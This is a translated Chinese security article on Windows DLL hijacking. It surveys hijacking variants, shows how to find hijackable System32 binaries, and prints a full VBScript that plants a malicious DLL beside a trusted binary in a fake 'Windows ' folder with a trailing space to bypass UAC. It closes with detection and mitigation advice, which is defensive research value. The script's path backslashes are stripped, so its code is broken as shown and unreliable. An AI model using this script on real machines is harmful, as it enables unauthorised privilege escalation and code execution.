![aabd579565e4a6745346c683154b2dcc.png](https://img-blog.csdnimg.cn/img_convert/aabd579565e4a6745346c683154b2dcc.png)
![aecbc0ef6a9f9fe3ae3b2056c89f9793.png](https://img-blog.csdnimg.cn/img_convert/aecbc0ef6a9f9fe3ae3b2056c89f9793.png)
(1) DLL替换:用恶意的DLL替换掉合法的DLL,可以将其与 DLL代理 结合使用,以确保原DLL的所有功能均保持不变。
(2) DLL搜索顺序劫持:当应用程序加载DLL的时候,如果没有带指定DLL的路径,那么程序将会以特定的顺序依次在指定的路径下 搜索 待加载的DLL。通过将恶意DLL放在真实DLL之前的搜索位置,就可以劫持搜索顺序,劫持的目录有时候包括目标应用程序的工作目录。
(3) 虚拟DLL劫持:释放一个恶意的DLL来代替合法应用程序加载的丢失的/ 不存在的DLL 。
(4) DLL重定向:更改DLL搜索的路径,比如通过编辑%PATH%环境变量或 .exe.manifest/.exe.local文件以将搜索路径定位到包含恶意DLL的地方。
(5) WinSxS DLL替换:将目标DLL相关的WinSxS文件夹中的恶意DLL替换为合法的DLL。此方法通常也被称为 DLL侧加载 。
(6) 相对路径DLL劫持:将合法的应用程序复制(并有选择地重命名)与恶意的DLL一起放入到用户可写的文件夹中。在使用方法上,它与(签名的) 二进制代理执行 有相似之处。它的一个变体是(有点矛盾地称为)“自带 LOLbin ”,其中合法的应用程序带有恶意的DLL(而不是从受害者机器上的合法位置复制)。
![aecbc0ef6a9f9fe3ae3b2056c89f9793.png](https://img-blog.csdnimg.cn/img_convert/aecbc0ef6a9f9fe3ae3b2056c89f9793.png)
![aecbc0ef6a9f9fe3ae3b2056c89f9793.png](https://img-blog.csdnimg.cn/img_convert/aecbc0ef6a9f9fe3ae3b2056c89f9793.png)
(1) 将受信任的可执行文件复制到用户可写的位置。
(2) 运行复制的可执行文件。
(3) 使用Procmon识别在用户可写位置中寻找的DLL
![a8fd7ee93f47cc30cbd331b3f1dd3811.png](https://img-blog.csdnimg.cn/img_convert/a8fd7ee93f47cc30cbd331b3f1dd3811.png)
![bc872bcd187a0939ed0d8ae09c7c1e11.png](https://img-blog.csdnimg.cn/img_convert/bc872bcd187a0939ed0d8ae09c7c1e11.png)
![ebe3602254aac8f89878178e939fce73.png](https://img-blog.csdnimg.cn/img_convert/ebe3602254aac8f89878178e939fce73.png)
![aecbc0ef6a9f9fe3ae3b2056c89f9793.png](https://img-blog.csdnimg.cn/img_convert/aecbc0ef6a9f9fe3ae3b2056c89f9793.png)
![00c5b73a71f1294bbe91fc5f5416bae2.png](https://img-blog.csdnimg.cn/img_convert/00c5b73a71f1294bbe91fc5f5416bae2.png)
(1) 测试是通过简单的运行每个可执行文件来完成的,在测试过程中没有使用任何参数,也没有进行用户交互。这也就解释了为什么xwizard.exe在此列表中不能进行 DLL劫持 。因为它至少需要两个参数才能正常工作。
(2) 有些程序附带了GUI,或者其他一些显示二进制文件执行情况的可视化元素,这还包括错误信息:所需的DLL可能丢失,而被劫持的DLL显然就会缺少原始的功能,通常来说,攻击者也不太可能将此类应用程序作为DLL劫持的目标。
(3) 使用c++编写的dll暂时未在测试范围内。 完整列表的CVS版本可在 GitHub 上找到。
![aecbc0ef6a9f9fe3ae3b2056c89f9793.png](https://img-blog.csdnimg.cn/img_convert/aecbc0ef6a9f9fe3ae3b2056c89f9793.png)
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set wshshell = wscript.createobject("WScript.Shell")
' Get target binary and payload
WScript.StdOut.Write("System32 binary: ")
strBinary = WScript.StdIn.ReadLine()
WScript.StdOut.Write("Path to your DLL: ")
strDLL = WScript.StdIn.ReadLine()
' Create folders
Const target = "c:windows "
target_sys32 = (target & "system32")
target_binary = (target_sys32 & strBinary)
If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If
If Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If
' Copy legit binary and evil DLL
oFSO.CopyFile ("c:windowssystem32" & strBinary), target_binary
oFSO.CopyFile strDLL, target_sys32
' Run, Forrest, Run!
wshshell.Run("""" & target_binary & """")
' Clean files
WScript.StdOut.Write("Clean up? (press enter to continue)")
WScript.StdIn.ReadLine()
wshshell.Run("powershell /c ""rm -r """"\?" & target & """""""") 'Deletion using VBScript is problematic, use PowerShell instead
下面的屏幕截图显示了脚本的执行情况。
![aecbc0ef6a9f9fe3ae3b2056c89f9793.png](https://img-blog.csdnimg.cn/img_convert/aecbc0ef6a9f9fe3ae3b2056c89f9793.png)
防止DLL劫持发生的一种简单方法是使用应用程序始终使用绝对路径而不是相对路径,尽管某些应用程序(尤其是可一直的应用程序)不能很好地做到这一点,但是位于system32文件夹中并依赖这些DLL的应用程序是可以避免的。更好的选择(似乎只有很少的Windows可执行程序可以这样做)是在加载所有DLL前都进行验证,比如检查签名。这种做法可以很好的解决DLL劫持的问题。 然而,正如我们所看到的,攻击者仍然能够携带合法/受信任的应用程序的旧版本,从而受到攻击。因此,即使每个应用程序从现在开始在加载它们之前开始检查它们的dll,我们仍然必须处理这个问题。 因此,让我们将重心放在检测上,您可以从一些特殊路径(特别是临时路径,如%appdata%)中查找前面提到的任意dll的创建或加载。毕竟,加载dll的应用程序的名称可以更改,但是dll的文件名却总是固定的。在 这里 可以找到一个实例样本Sigma的规则。它成功检测了我们的DLL劫持,尽管如您所见,它的扩展性并不是很好而且容易出现误报。所以,您可以采用一种更通用的方法来实现检测,比如在指定的路径查找微软签名的二进制文件的存在,或是通过此类微软签名的二进制文件从特殊路径加载DLL。 最后,通过查找/windows/文件夹中的任何活动,或者查找以空格结尾的任何文件夹中的任何活动,可以轻松可靠地检测到演示的UAC绕过技术。如前所述,带有尾随空格的Windows文件夹不能通过正常方式创建,因此应该很少,而且总是可疑的。将您的UAC模式设置为“总是通知”,比默认值高一级,将阻止此和其他类似的UAC绕过技术成功。
译文声明
译文仅供参考,具体内容表达以及含义原文为准。
![a30a03bb73d6959a8efa7dea7c4e116a.gif](https://img-blog.csdnimg.cn/img_convert/a30a03bb73d6959a8efa7dea7c4e116a.gif)